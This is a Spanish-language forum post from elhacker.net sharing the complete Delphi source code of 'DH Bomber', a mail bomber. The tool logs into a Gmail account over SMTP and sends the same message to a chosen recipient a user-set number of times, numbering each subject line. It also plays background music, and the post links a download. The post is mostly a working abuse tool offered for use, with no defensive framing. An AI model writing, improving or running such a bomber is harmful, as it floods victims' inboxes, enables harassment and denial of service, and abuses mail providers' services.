Foro de elhacker.net

Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail.

Una imagen :

(http://doddyhackman.webcindario.com/images/dhbomber.jpg)

El codigo :

// DH Bomber 0.3
// Coded By Doddy H
// Credits :
// Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html
 
unit dh;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel,
  sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile;
 
type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sLabel5: TsLabel;
    sEdit5: TsEdit;
    sLabel6: TsLabel;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    sStatusBar1: TsStatusBar;
    PopupMenu1: TPopupMenu;
    MediaPlayer1: TMediaPlayer;
    N2: TMenuItem;
    S2: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);
    procedure MediaPlayer1Notify(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
 
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
var
  themenow: Boolean; { Global Variable }
 
implementation
 
{$R *.dfm}
 
procedure TForm1.FormCreate(Sender: TObject);
begin
 
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;
 
  MediaPlayer1.FileName := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;
 
procedure TForm1.MediaPlayer1Notify(Sender: TObject);
begin
  if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  begin
    MediaPlayer1.Play;
    MediaPlayer1.Notify := True;
  end;
end;
 
procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;
 
procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;
 
procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;
 
begin
 
  mensaje := TIdSMTP.Create(nil);
 
  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;
 
  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;
 
  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;
 
  mensaje.Free;
  data.Free;
 
end;
 
procedure TForm1.sButton1Click(Sender: TObject);
 
var
  i: integer;
  count: integer;
  idasunto: string;
 
begin
 
  count := StrToInt(sEdit5.Text);
 
  For i := 1 to count do
  begin
 
    if count > 1 then
    begin
      idasunto := '_' + IntToStr(i);
    end;
 
    try
      begin
        sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
          (i) + ' ...';
        Form1.sStatusBar1.Update;
 
        enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
          sEdit6.Text + idasunto, sMemo1.Text);
      end;
    except
      begin
        sStatusBar1.Panels[0].Text :=
          '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
        Form1.sStatusBar1.Update;
      end;
 
    end;
 
    sStatusBar1.Panels[0].Text := '[+] Finished';
    Form1.sStatusBar1.Update;
 
  end;
 
end;
 
end.
 
// The End ?
 

Si quieren bajar el programa lo pueden hacer de aca (https://sourceforge.net/projects/dhbomber/).